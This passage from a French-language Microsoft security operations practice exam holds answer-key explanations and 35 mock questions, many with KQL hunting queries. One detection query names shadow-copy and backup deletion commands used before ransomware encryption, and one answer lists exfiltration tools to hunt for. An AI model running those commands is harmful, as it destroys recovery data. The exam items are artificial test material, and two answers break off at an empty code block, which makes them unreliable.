| 39 | **A** | Moins d'incidents sans perdre d'alertes = regroupement d'alertes (période ≤ 7 jours, entités choisies, réouverture optionnelle).<br>**Explication complémentaire :** Dans l'onglet **Paramètres d'incident** d'une règle planifiée, le **regroupement d'alertes** permet de rattacher les alertes à un même incident selon : toutes les entités correspondantes, des **entités sélectionnées** (ici Host), ou tous les détails. On fixe la **période** (jusqu'à 7 jours) et l'option **« Rouvrir les incidents correspondants fermés »**.<br>Bonne(s) réponse(s) : Activer le regroupement d'alertes dans les paramètres d'incident, sur une période de 24 heures, en regroupant les alertes dont l'entité Host correspond, avec l'option de réouverture des incidents fermés correspondants. — détails : question n° 41 du guide. |
| 40 | **D** | Conteneur privilégié + évasion = isoler la charge, examiner le nœud, trouver qui a déployé, durcir l'admission.<br>**Explication complémentaire :** Un **conteneur privilégié** permet d'accéder aux ressources de l'hôte ; une **tentative d'évasion** (T1611 – Escape to Host) indique une progression vers le nœud. La réponse cible la charge, le nœud et le vecteur (identité ou pipeline ayant déployé le pod).<br>Bonne(s) réponse(s) : Isoler la charge (supprimer ou mettre à l'échelle zéro le pod, appliquer une politique réseau restrictive), examiner le nœud (possible compromission de l'hôte), identifier qui a déployé le conteneur et renforcer les politiques d'admission (interdire les conteneurs privilégiés). — détails : question n° 386 du guide. |
| 41 | **A, C** | Vérifier l'exfiltration : volumes réseau sortants + outils d'archivage/transfert (rclone, 7-Zip...).<br>Bonne(s) réponse(s) : L'exécution d'outils de synchronisation/archivage (rclone, MEGAsync, 7-Zip, WinRAR) dans DeviceProcessEvents sur les serveurs de fichiers. / Les journaux réseau (pare-feu/proxy, DeviceNetworkEvents) pour des volumes sortants inhabituels vers des services de stockage ou des IP inconnues. — détails : question n° 311 du guide. |
| 42 | **C, E** | Compte de messagerie compromis : identifiants + sessions + MFA, puis règles/transferts/délégations et purge des messages.<br>**Explication complémentaire :** La procédure Microsoft « Répondre à un compte de messagerie compromis » prévoit de **réinitialiser le mot de passe**, **révoquer les sessions**, vérifier/retirer les **méthodes d'authentification** ajoutées, **supprimer les règles** de boîte de réception et de transfert suspectes, vérifier les **délégations** et le **transfert SMTP** de la boîte, débloquer l'envoi si l'utilisateur a été restreint, et purger les messages malveillants.<br>Bonne(s) réponse(s) : Supprimer les règles de boîte de réception et de transfert malveillantes, et retirer les e-mails malveillants envoyés en interne. / Réinitialiser le mot de passe, révoquer les sessions/jetons d'actualisation et vérifier les méthodes MFA enregistrées par l'attaquant. — détails : question n° 135 du guide. |
| 43 | **B** | Portail Defender : ne pas baser l'automatisation sur le titre des incidents ; utiliser règle d'analyse, alertes, balises.<br>**Explication complémentaire :** Dans le portail Defender, la création et le **nommage des incidents** sont gérés par la corrélation Defender XDR, qui peut fusionner des alertes et attribuer un titre décrivant l'attaque. Microsoft recommande de revoir les règles d'automatisation qui s'appuient sur le **titre** ou le **fournisseur d'incident**, et de privilégier des conditions sur le **nom de la règle d'analyse**, les **noms d'alertes**, les **balises** ou les entités.<br>Bonne(s) réponse(s) : Le moteur de corrélation Defender XDR peut renommer les incidents et en modifier la composition ; les conditions fondées sur le titre de l'incident ne sont plus fiables et doivent être remplacées par des conditions sur la règle d'analyse, les alertes ou les balises. — détails : question n° 58 du guide. |
| 44 | **D** | Persistance résistante : examiner les abonnements WMI ; règle ASR dédiée pour la bloquer.<br>**Explication complémentaire :** La **persistance WMI** (T1546.003) associe un **filtre** d'événement (par exemple « toutes les 60 s » ou « au démarrage »), un **consommateur** (CommandLineEventConsumer, ActiveScriptEventConsumer) et une **liaison**. Elle survit aux redémarrages et échappe aux contrôles classiques.<br>Bonne(s) réponse(s) : Les abonnements aux événements WMI (filtres, consommateurs et liaisons), que la règle ASR « Bloquer la persistance via un abonnement aux événements WMI » permet de bloquer. — détails : question n° 318 du guide. |
| 45 | **C** | P1 = EDR MDE ; P2 = P1 + sans agent, FIM, JIT, DNS, 500 Mo d'ingestion.<br>Bonne(s) réponse(s) : Defender for Servers Plan 2. — détails : question n° 355 du guide. |
| 46 | **D** | Suppressions SharePoint/OneDrive = OfficeActivity (FileDeleted, FileRecycled...).<br>Bonne(s) réponse(s) : ```kql — détails : question n° 232 du guide. |

| N° | Réponse | Justification |
|---|---|---|
| 47 | **A** | Accès SYSTEM prolongé = reconstruire depuis une source fiable plutôt que nettoyer.<br>**Explication complémentaire :** Après une compromission avec **privilèges élevés prolongés**, la **reconstruction** est la seule option offrant une confiance raisonnable. Le nettoyage ciblé convient aux infections limitées et bien comprises (par exemple un malware de base bloqué rapidement).<br>Bonne(s) réponse(s) : Reconstruire (réinstaller) le serveur à partir d'une source fiable et restaurer les données vérifiées, car un accès SYSTEM prolongé ne permet pas de garantir que toutes les modifications ont été identifiées. — détails : question n° 332 du guide. |
| 48 | **C** | Application OAuth malveillante = désactiver/interdire l'application et révoquer les consentements ; le changement de mot de passe ne suffit pas.<br>**Explication complémentaire :** Le **consentement illicite** (T1528) permet à une application malveillante d'accéder aux données des utilisateurs via des **jetons OAuth**, indépendamment de leur mot de passe. Defender for Cloud Apps (gouvernance des applications) permet d'**examiner** l'application et de la **désactiver** ou d'**interdire** son usage, ce qui révoque son accès.<br>Bonne(s) réponse(s) : Examiner l'application (éditeur, autorisations, activité, utilisateurs), et si elle est malveillante, l'interdire/la désactiver et révoquer les consentements, puis enquêter sur les données consultées. — détails : question n° 152 du guide. |
| 49 | **A** | Classeur interactif = paramètres `{NomParametre}` ; période = Time range picker.<br>Bonne(s) réponse(s) : Créer un paramètre de type « Time range picker » (par exemple TimeRange) et utiliser ce paramètre dans les requêtes, par exemple `where TimeGenerated {TimeRange}` ou en le sélectionnant comme intervalle de la requête. — détails : question n° 62 du guide. |
| 50 | **C** | Clé Run + RegistryValueSet + chemin inscriptible = persistance (T1547.001).<br>Bonne(s) réponse(s) : ```kqlx — détails : question n° 223 du guide. |

Le score obtenu à cet examen blanc est un indicateur d'entraînement : il ne constitue en aucun cas une prédiction du résultat à l'examen officiel, dont le format, la pondération et la notation (score minimal de 700 sur 1000) sont définis par Microsoft.

# Examen blanc n° 3

**Consignes :** 50 questions, durée conseillée 100 minutes, sans documentation. Notez vos réponses sur une feuille séparée, puis comparez-les au corrigé. Les questions à réponses multiples indiquent le nombre de réponses attendues. La répartition suit la pondération officielle du référentiel : 21 questions « Gérer un environnement d'opérations de sécurité », 18 « Répondre aux incidents de sécurité » et 11 « Effectuer la chasse aux menaces ».

### Examen 3 — Question 1 (Répondre aux incidents de sécurité)

La messagerie Microsoft 365 de l'entreprise est soupçonnée d'être sous le contrôle de l'attaquant. Comment l'équipe de réponse doit-elle communiquer ?

**A.** Utiliser un canal de communication hors bande prédéfini (par exemple téléphonie ou outil de collaboration indépendant du locataire compromis).

**B.** Envoyer les informations sensibles par e-mail chiffré à tous les employés.

**C.** Ne pas communiquer pour éviter les fuites.

**D.** Continuer à utiliser Teams et Outlook du locataire compromis.

### Examen 3 — Question 2 (Effectuer la chasse aux menaces)

**Besoin :** prioriser les alertes Sentinel dont l'utilisateur présente aussi une activité jugée très inhabituelle par l'UEBA le même jour. Quelle approche est correcte ?

**A.**

REQUÊTE KQL

```
let Ueba = BehaviorAnalytics
| where TimeGenerated > ago(1d)
| where InvestigationPriority >= 5
| summarize PrioriteMax = max(InvestigationPriority) by Upn = tolower(UserPrincipalName);
SecurityAlert
| where TimeGenerated > ago(1d)
| mv-expand Entite = todynamic(Entities)
| where tostring(Entite.Type) == "account"
| extend Upn = tolower(strcat(tostring(Entite.Name), "@", tostring(Entite.UPNSuffix)))
| join kind=inner Ueba on Upn
| project TimeGenerated, AlertName, AlertSeverity, Upn, PrioriteMax
| order by PrioriteMax desc
```

**B.**

REQUÊTE KQL

```
SecurityAlert
| where TimeGenerated > ago(1d)
| where AlertSeverity == "High"
```

**C.**

REQUÊTE KQL

```
SecurityAlert
| where TimeGenerated > ago(1d)
| join kind=inner (BehaviorAnalytics) on TimeGenerated
```

**D.**

REQUÊTE KQL

```
BehaviorAnalytics
| where TimeGenerated > ago(1d)
| summarize count() by ActivityType
```

## Examen 3 — Question 3 (Répondre aux incidents de sécurité)

**Scénario I (suite) :** l'attaquant a ajouté un secret à l'application il y a 5 jours via un compte d'administrateur d'applications compromis. **Question :** quelles mesures de confinement sont prioritaires ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Confiner le compte administrateur compromis (mot de passe, révocation des sessions, retrait temporaire des rôles).

**B.** Supprimer le coffre de clés de production.

**C.** Supprimer le secret ajouté (et faire tourner les autres identifiants de l'application), et faire tourner les secrets du coffre qui ont été lus.

**D.** Désactiver Defender for Key Vault.

**E.** Attendre que les secrets expirent naturellement.

## Examen 3 — Question 4 (Gérer un environnement d'opérations de sécurité)

Vous préparez la connexion d'un espace de travail Sentinel au portail Microsoft Defender, dans un locataire qui comporte plusieurs espaces Sentinel. Quelle combinaison d'autorisations correspond aux prérequis documentés pour l'administrateur qui réalise l'opération ?

**A.** Le rôle Propriétaire (attribution inconditionnelle) sur l'abonnement — ou Administrateur de l'accès utilisateur et Microsoft Sentinel Contributor — ainsi qu'au moins le rôle Administrateur de la sécurité dans Microsoft Entra ID.

**B.** Uniquement le rôle Microsoft Sentinel Playbook Operator.

**C.** Uniquement le rôle Microsoft Sentinel Reader sur l'espace.

**D.** Une licence Microsoft 365 E5 attribuée à l'administrateur, sans autre rôle.

## Examen 3 — Question 5 (Effectuer la chasse aux menaces)

**Scénario D (suite) :** vous voulez comparer en détail les connexions de p.durand sur 24 heures. **Question :** quelle requête Sentinel est la plus utile ?

**A.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where UserPrincipalName =~ "p.durand@contoso.com"
| extend Ville = tostring(LocationDetails.city), Appareil = tostring(DeviceDetail.displayName),
Conforme = tostring(DeviceDetail.isCompliant)
| project TimeGenerated, IPAddress, Ville, AppDisplayName, Appareil, Conforme, UserAgent,
ResultType, RiskLevelDuringSignIn
| order by TimeGenerated asc
```

**B.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where Account has "p.durand"
```

**C.**

REQUÊTE KQL

```
AuditLogs
| where TimeGenerated > ago(1d)
| where OperationName == "Update user"
```

**D.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| summarize count() by Location
```

### Examen 3 — Question 6 (Répondre aux incidents de sécurité)

Un attaquant compromet un poste local, vole les identifiants d'un administrateur synchronisé, puis crée une application dans Entra ID et accède à des abonnements Azure. Quelle combinaison d'outils offre la vue la plus complète de l'attaque ?

**A.** Uniquement les journaux du pare-feu.

**B.** Defender XDR (MDE, MDI, MDCA, Entra ID Protection) pour la corrélation des alertes en un incident, et Microsoft Sentinel pour les journaux Entra ID (AuditLogs), Azure (AzureActivity) et les corrélations personnalisées, dans le portail Defender unifié.

**C.** Uniquement l'antivirus Microsoft Defender du poste.

**D.** Uniquement Defender for Cloud.

### Examen 3 — Question 7 (Gérer un environnement d'opérations de sécurité)

**Scénario G (suite) :** pour prévenir ce type de fuite, quelles mesures recommander ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** L'augmentation de la taille maximale des pièces jointes.

**B.** Le blocage des applications de stockage personnel non approuvées via Defender for Cloud Apps et Defender for Endpoint.

**C.** La désactivation des étiquettes de confidentialité.

**D.** Des stratégies DLP (Microsoft 365 et terminaux) bloquant le partage et le chargement de contenus étiquetés « Confidentiel » vers des destinations non autorisées.

**E.** L'interdiction totale de SharePoint.

### Examen 3 — Question 8 (Gérer un environnement d'opérations de sécurité)

Une application métier développée en interne doit envoyer ses journaux d'authentification au format JSON dans Sentinel, dans une table dédiée avec un schéma maîtrisé. Quelle approche moderne est recommandée ?

**A.** Écrire directement dans la table SecurityEvent.

**B.** Envoyer les journaux dans Microsoft Defender for Endpoint via des indicateurs personnalisés.

**C.** Créer une table personnalisée (suffixe _CL) et utiliser l'API d'ingestion des journaux (Logs Ingestion API) avec un point de terminaison de collecte et une règle de collecte de données qui peut transformer les données.

**D.** Utiliser l'API HTTP Data Collector.

### Examen 3 — Question 9 (Effectuer la chasse aux menaces)

**Besoin de détection :** repérer les hôtes internes ayant envoyé plus de 5 Go vers des adresses publiques en une journée, d'après les journaux du pare-feu (CEF). Quelle requête convient ?

**A.**

REQUÊTE KQL

```
Heartbeat
| where TimeGenerated > ago(1d)
| summarize count() by Computer
```

**B.**

REQUÊTE KQL

```
CommonSecurityLog
| where TimeGenerated > ago(1d)
| summarize sum(ReceivedBytes) by DestinationIP
```

**C.**

REQUÊTE KQL

```
CommonSecurityLog
| where TimeGenerated > ago(1d)
| where ipv4_is_private(SourceIP) and not(ipv4_is_private(DestinationIP))
| summarize OctetsEnvoyes = sum(SentBytes), Destinations = dcount(DestinationIP) by SourceIP
| where OctetsEnvoyes > 5 * 1024 * 1024 * 1024
| extend Go = round(OctetsEnvoyes / 1073741824.0, 2)
| order by OctetsEnvoyes desc
```

**D.**

REQUÊTE KQL

```
CommonSecurityLog
| where TimeGenerated > ago(1d)
| summarize count() by SourceIP
| where count_ > 5000
```

## Examen 3 — Question 10 (Effectuer la chasse aux menaces)

**Besoin :** extraire les événements d'une période d'incident. La requête échoue. Quelle est la syntaxe correcte ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
SecurityEvent
| where TimeGenerated between (datetime(2026-10-01 08:00), datetime(2026-10-01 12:00))
| where Computer == "SRV-FIC01"
```

**A.** `| where TimeGenerated between (datetime(2026-10-01 08:00) .. datetime(2026-10-01 12:00))`

**B.** `| where TimeGenerated between datetime(2026-10-01 08:00) and datetime(2026-10-01 12:00)`

**C.** `| where TimeGenerated between ("2026-10-01 08:00" .. "2026-10-01 12:00")`

**D.** `| where TimeGenerated in (datetime(2026-10-01 08:00), datetime(2026-10-01 12:00))`

## Examen 3 — Question 11 (Répondre aux incidents de sécurité)

Quelles capacités offre Defender for Containers pour des clusters AKS ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** La protection des boîtes aux lettres Exchange Online.

**B.** L'évaluation des vulnérabilités des images de conteneurs (registres et images en cours d'exécution) et le durcissement de la posture Kubernetes.

**C.** La détection des menaces à l'exécution sur les nœuds et le plan de contrôle Kubernetes (par exemple conteneur privilégié, exécution de commandes suspectes, accès à l'API depuis une IP malveillante).

**D.** L'analyse des tables SQL.

**E.** La gestion des mots de passe des utilisateurs Entra ID.

### Examen 3 — Question 12 (Gérer un environnement d'opérations de sécurité)

Après une enquête automatisée concluant à « aucune menace trouvée », les alertes associées restent ouvertes et encombrent la file. Quelle fonctionnalité avancée de MDE permet de les résoudre automatiquement ?

**A.** « Allow or block file ».

**B.** « Automatically resolve alerts » (résoudre automatiquement les alertes).

**C.** « Custom network indicators ».

**D.** « Live response unsigned script execution ».

### Examen 3 — Question 13 (Répondre aux incidents de sécurité)

Defender for Cloud signale une activité de minage de cryptomonnaie sur plusieurs VM récemment créées dans un abonnement de développement. Quelle hypothèse d'attaque vérifier en priorité ?

**A.** Un problème de facturation.

**B.** Une mise à jour automatique de Windows.

**C.** Une panne matérielle des hôtes Azure.

**D.** La compromission d'une identité ou d'un secret disposant de droits de création de ressources (Resource Hijacking, T1496), à vérifier dans AzureActivity (créations de VM, appelant, IP).

### Examen 3 — Question 14 (Gérer un environnement d'opérations de sécurité)

L'équipe veut conserver l'historique des alertes et des recommandations de Defender for Cloud dans un espace Log Analytics, et les transmettre à un SIEM tiers via Event Hubs. Quelle fonctionnalité utiliser ?

**A.** Les règles de gouvernance.

**B.** L'export continu (continuous export) vers Log Analytics et/ou Event Hubs.

**C.** L'analyse sans agent.

**D.** Le JIT.

### Examen 3 — Question 15 (Répondre aux incidents de sécurité)

Deux incidents arrivent en même temps : (1) gravité moyenne, malware bloqué sur un poste standard ; (2) gravité élevée, activité de type DCSync depuis un serveur applicatif avec un compte d'administrateur. Lequel traiter en premier et pourquoi ?

**A.** L'incident 2, car il indique une compromission probable d'identifiants à privilèges élevés avec un impact potentiel sur tout le domaine.

**B.** L'incident 1, car il est arrivé quelques secondes plus tôt.

**C.** L'incident 1, car un malware est plus dangereux qu'une réplication d'annuaire.

**D.** Les deux ont la même priorité car ce sont des incidents.

### Examen 3 — Question 16 (Gérer un environnement d'opérations de sécurité)

Une équipe applicative doit voir les journaux de ses propres machines virtuelles stockés dans l'espace Sentinel, sans accès à l'interface Sentinel ni aux autres données. Quelle solution est recommandée ?

**A.** Une copie quotidienne des journaux dans un compte de stockage accessible à l'équipe.

**B.** Le RBAC de contexte de ressource : l'équipe consulte les journaux depuis ses ressources Azure, sur lesquelles elle possède déjà des droits.

**C.** Le rôle Microsoft Sentinel Responder limité au groupe de ressources de l'application.

**D.** Une règle d'automatisation qui affecte les incidents à l'équipe.

### Examen 3 — Question 17 (Gérer un environnement d'opérations de sécurité)

Vous activez le connecteur Microsoft Defender XDR dans Sentinel. Quelles données ce connecteur peut-il apporter ?

**Sélectionnez deux réponses.**

**A.** Les événements bruts de la chasse avancée (par exemple DeviceProcessEvents, EmailEvents, IdentityLogonEvents) vers les tables correspondantes de l'espace.

**B.** Les journaux Syslog des serveurs Linux non protégés.

**C.** Les recommandations de Secure Score de Defender for Cloud.

**D.** Le journal d'activité Azure de tous les abonnements.

**E.** Les incidents et alertes de Defender XDR, synchronisés avec Sentinel.

### Examen 3 — Question 18 (Gérer un environnement d'opérations de sécurité)

**Scénario D (suite) :** l'équipe commerciale utilise un VPN d'entreprise sortant par plusieurs pays, ce qui génère chaque semaine des alertes de voyage atypique. **Question :** quelle correction est la plus adaptée ?

**A.** Exclure les commerciaux de toute stratégie d'accès conditionnel.

**B.** Fermer automatiquement toutes les alertes de voyage.

**C.** Déclarer les plages IP de sortie du VPN comme emplacements nommés de confiance (Entra ID) et comme plages d'entreprise dans Defender for Cloud Apps.

**D.** Désactiver Entra ID Protection pour l'équipe commerciale.

### Examen 3 — Question 19 (Répondre aux incidents de sécurité)

Un incident regroupe des alertes sur 35 appareils. Pour comprendre le vecteur initial, l'analyste veut identifier le premier appareil compromis (patient zéro). Quelle démarche est la plus fiable ?

**A.** Choisir le dernier appareil sur lequel une alerte est apparue.

**B.** Choisir l'appareil qui a le plus d'alertes.

**C.** Reconstituer la chronologie à partir des premiers horodatages d'activité malveillante (première exécution des IOC, première connexion du compte compromis, premier e-mail ouvert), en remontant l'arborescence des processus et les connexions latérales jusqu'à l'activité la plus ancienne.

**D.** Choisir l'appareil de l'utilisateur le plus haut placé dans l'organigramme.

### Examen 3 — Question 20 (Gérer un environnement d'opérations de sécurité)

L'équipe d'ingénierie de détection veut versionner ses règles d'analyse, classeurs et playbooks dans GitHub, les faire relire par pull request et les déployer automatiquement dans les espaces de développement et de production. Quelle fonctionnalité Sentinel utiliser ?

**A.** L'export manuel des règles en JSON chaque semaine.

B. Le hub de contenu uniquement.

C. Les référentiels (Repositories) de Microsoft Sentinel, connectés à GitHub ou Azure DevOps, qui déploient le contenu à chaque validation.

D. Les watchlists.

### Examen 3 — Question 21 (Répondre aux incidents de sécurité)

Quelle affirmation décrit correctement l'investigation et la réponse automatisées (AIR) de Defender XDR ?

A. Une alerte déclenche une enquête automatisée qui examine les preuves (fichiers, processus, services, pilotes, adresses IP, e-mails...), leur attribue un verdict et propose ou applique des actions de remédiation selon le niveau d'automatisation.

B. AIR ne traite que les e-mails.

C. AIR remplace l'antivirus Microsoft Defender.

D. AIR ne fonctionne que sur demande manuelle d'un analyste.

### Examen 3 — Question 22 (Gérer un environnement d'opérations de sécurité)

**Scénario J (suite) :** une règle d'automatisation « lors de la mise à jour d'un incident » ajoute une balise ; une autre, déclenchée aussi à la mise à jour, change la gravité. Les incidents subissent des dizaines de modifications. **Question :** quelle correction est la plus appropriée ?

A. Restreindre les conditions des règles déclenchées à la mise à jour (par exemple « Statut modifié en Actif » ou « Alertes ajoutées ») pour qu'une modification faite par une règle ne déclenche pas l'autre en boucle.

B. Augmenter le nombre de règles pour compenser.

C. Supprimer toutes les règles d'automatisation.

D. Passer les incidents en gravité Informationnelle.

### Examen 3 — Question 23 (Gérer un environnement d'opérations de sécurité)

Une organisation utilise un antivirus tiers comme protection principale ; l'antivirus Microsoft Defender est en mode passif. Quelle fonctionnalité permet à Defender for Endpoint de bloquer et corriger des artefacts malveillants détectés par l'EDR malgré ce mode passif ?

A. Le mode Audit des règles ASR.

B. La restriction d'exécution d'applications.

C. Le filtrage de contenu web.

D. Le mode bloc EDR (EDR in block mode).

### Examen 3 — Question 24 (Effectuer la chasse aux menaces)

**Besoin de détection :** repérer les commandes qui suppriment les clichés instantanés ou désactivent la restauration, activité typique précédant un chiffrement par rançongiciel (T1490). Quelle requête convient ?

**A.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where (FileName =~ "vssadmin.exe" and ProcessCommandLine has_all ("delete", "shadows"))
    or (FileName =~ "wmic.exe" and ProcessCommandLine has_all ("shadowcopy", "delete"))
    or (FileName =~ "bcdedit.exe" and ProcessCommandLine has_any ("recoveryenabled",
"ignoreallfailures"))
    or (FileName =~ "wbadmin.exe" and ProcessCommandLine has_all ("delete", "catalog"))
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName
```

**B.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(1d)
| where ActionType == "LogonFailed"
```

**C.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "vssadmin.exe"
| where ProcessCommandLine has "list"
```

**D.**

REQUÊTE KQL

```
DeviceFileEvents
| where Timestamp > ago(1d)
| where FileName endswith ".vss"
```

## Examen 3 — Question 25 (Gérer un environnement d'opérations de sécurité)

**Scénario B (suite) :** pour éviter que ce scénario se reproduise, quelles mesures préventives sont les plus efficaces ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Désactiver PowerShell pour tous les administrateurs.

**B.** Supprimer les alertes MDE de type PowerShell.

**C.** Autoriser les macros pour tous les documents afin de réduire les alertes.

**D.** Renforcer la protection de la messagerie : pièces jointes sécurisées, blocage des macros provenant d'Internet et stratégies prédéfinies Standard/Strict.

**E.** Activer en mode Bloquer la règle ASR « Bloquer toutes les applications Office pour créer des processus enfants » (après audit).

## Examen 3 — Question 26 (Répondre aux incidents de sécurité)

Un incident implique la compromission d'un compte d'un employé du service RH. Quelle démarche permet d'évaluer l'impact de façon fiable ?

**A.** Demander à l'utilisateur ce qu'il pense avoir perdu.

**B.** Recenser les ressources et données auxquelles le compte a accédé pendant la période de compromission (journaux d'audit Microsoft 365, accès aux fichiers, e-mails consultés, applications), et les privilèges qu'il détient.

**C.** Supposer qu'aucune donnée n'a été touchée si l'antivirus n'a rien détecté.

D. Mesurer l'impact par le nombre d'alertes générées.

### Examen 3 — Question 27 (Gérer un environnement d'opérations de sécurité)

Vous voulez activer 8 règles ASR sur 5 000 postes sans perturber les applications métier. Quelle démarche est recommandée ?

A. Activer directement toutes les règles en mode Bloquer pour tout le parc.

B. Laisser les règles désactivées tant qu'aucune attaque n'est constatée.

C. Activer le mode Avertir uniquement sur les serveurs.

D. Déployer les règles en mode Audit, analyser les événements (rapports ASR, chasse avancée) pendant une période représentative, créer les exclusions nécessaires, puis passer en mode Bloquer (ou Avertir) par vagues.

### Examen 3 — Question 28 (Gérer un environnement d'opérations de sécurité)

**Scénario A (suite) :** le retour d'expérience montre que le jeton a été volé via une page AiTM et qu'aucune stratégie de risque n'était active. **Question :** quelles améliorations prioriser ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

A. Désactiver Entra ID Protection.

B. Exiger une authentification résistante à l'hameçonnage (FIDO2/passkeys, Windows Hello) et des appareils conformes pour les rôles sensibles comme la comptabilité.

C. Supprimer la MFA, inefficace contre l'AiTM.

D. Augmenter la durée de vie des sessions pour limiter les invites.

E. Activer les stratégies d'accès conditionnel basées sur le risque (connexion → MFA, utilisateur → changement de mot de passe sécurisé).

### Examen 3 — Question 29 (Effectuer la chasse aux menaces)

**Besoin de chasse :** vérifier si des appareils ont contacté l'un des domaines d'une liste fournie par un CERT. Quelle requête est la plus adaptée en chasse avancée ?

A.

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(30d)
| where SenderFromDomain == "update-msft-cdn.net"
```

B.

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName has "secure-login-portal"
```

C.

REQUÊTE KQL

```
let domaines = datatable(Domaine:string)["update-msft-cdn.net", "secure-login-portal.co", "files-share-drive.org"];
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where isnotempty(RemoteUrl)
| where RemoteUrl has_any (domaines)
| summarize Connexions = count(), Premiere = min(Timestamp), Derniere = max(Timestamp) by DeviceName, RemoteUrl, InitiatingProcessFileName
```

**D.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl == "update-msft-cdn.net, secure-login-portal.co, files-share-drive.org"
```

## Examen 3 — Question 30 (Effectuer la chasse aux menaces)

**Besoin de détection :** alerter quand une attribution de rôle Azure (RBAC) est créée avec succès, en indiquant l'appelant et son IP. Quelle requête convient ?

**A.**

REQUÊTE KQL

```
AuditLogs
| where TimeGenerated > ago(1d)
| where OperationName == "Add member to role"
```

**B.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| where OperationNameValue has "virtualMachines/start"
```

**C.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| where OperationNameValue =~ "Microsoft.Authorization/roleAssignments/write"
| where ActivityStatusValue == "Success"
| project TimeGenerated, Caller, CallerIpAddress, ResourceGroup, SubscriptionId, _ResourceId
```

**D.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where AppDisplayName == "Azure Portal"
```

## Examen 3 — Question 31 (Effectuer la chasse aux menaces)

**Besoin :** relier les requêtes LDAP de reconnaissance vues par Defender for Identity au processus du poste source qui les a émises (par exemple un outil de type SharpHound). Quelle requête est la plus adaptée ?

**A.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "ldap.exe"
```

**B.**

REQUÊTE KQL

```
IdentityLogonEvents
| where Timestamp > ago(1d)
| where ActionType == "LogonFailed"
```

**C.**

REQUÊTE KQL

```
IdentityQueryEvents
| where Timestamp > ago(1d)
| summarize count() by QueryTarget
```

**D.**

REQUÊTE KQL

```
IdentityQueryEvents
| where Timestamp > ago(1d)
| where ActionType == "LDAP query" or Protocol == "Ldap"
| summarize Requetes = count(), Debut = min(Timestamp), Fin = max(Timestamp) by DeviceName,
AccountName
| where Requetes > 100
| join kind=inner (
    DeviceProcessEvents
    | where Timestamp > ago(1d)
    | project DeviceName, ProcessTime = Timestamp, FileName, ProcessCommandLine
  ) on DeviceName
| where ProcessTime between ((Debut - 5m) .. Fin)
| summarize Processus = make_set(FileName, 20), Commandes = make_set(ProcessCommandLine, 5) by
DeviceName, AccountName, Requetes
```

## Examen 3 — Question 32 (Effectuer la chasse aux menaces)

**Besoin :** après une connexion RDP depuis une IP externe suspecte, lister les processus lancés pendant cette session sur le serveur. Quelle requête permet la corrélation la plus précise ?

**A.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteIP == "203.0.113.88" and RemotePort == 3389
```

**B.**

REQUÊTE KQL

```
let Sessions = DeviceLogonEvents
| where Timestamp > ago(2d)
| where ActionType == "LogonSuccess" and LogonType == "RemoteInteractive"
| where RemoteIP == "203.0.113.88"
| project DeviceId, LogonId, AccountName, DebutSession = Timestamp;
DeviceProcessEvents
| where Timestamp > ago(2d)
| join kind=inner Sessions on DeviceId, $left.InitiatingProcessLogonId == $right.LogonId
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, DebutSession
```

**C.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(2d)
| join kind=inner (DeviceProcessEvents) on AccountName
```

**D.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(2d)
| where ProcessCommandLine has "203.0.113.88"
```

## Examen 3 — Question 33 (Gérer un environnement d'opérations de sécurité)

Vous devez lister les 10 types de données qui ont le plus contribué à l'ingestion facturable au cours des 30 derniers jours. Quelle requête utiliser ?

**A.**

REQUÊTE KQL

```
Heartbeat
| where TimeGenerated > ago(30d)
| summarize count() by Computer
| top 10 by count_
```

**B.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(30d)
| summarize count() by EventID
| top 10 by count_
```

**C.**

REQUÊTE KQL

```
Usage
| where TimeGenerated > ago(30d)
| where IsBillable == true
| summarize VolumeGo = sum(Quantity) / 1024 by DataType
| top 10 by VolumeGo
```

**D.**

REQUÊTE KQL

```
Usage
| where TimeGenerated > ago(30d)
| summarize VolumeGo = sum(Quantity) by Computer
| top 10 by VolumeGo
```

### Examen 3 — Question 34 (Répondre aux incidents de sécurité)

Une organisation sans Defender for Office 365 Plan 2 doit supprimer de toutes les boîtes un e-mail malveillant déjà distribué. Quelle méthode utiliser ?

**A.** Activer une règle ASR.

**B.** Supprimer les boîtes aux lettres des destinataires.

**C.** Utiliser Threat Explorer.

**D.** Créer une recherche de contenu Microsoft Purview (eDiscovery) ciblant le message (expéditeur, objet, date), puis lancer une action de purge (`New-ComplianceSearchAction -Purge`) en suppression réversible ou définitive.

### Examen 3 — Question 35 (Gérer un environnement d'opérations de sécurité)

Le SOC veut être alerté si un connecteur de données cesse d'envoyer des données ou si l'exécution des playbooks échoue. Quelle fonctionnalité activer ?

**A.** Le Secure Score.

**B.** Les signets de chasse.

**C.** La table SecurityIncident.

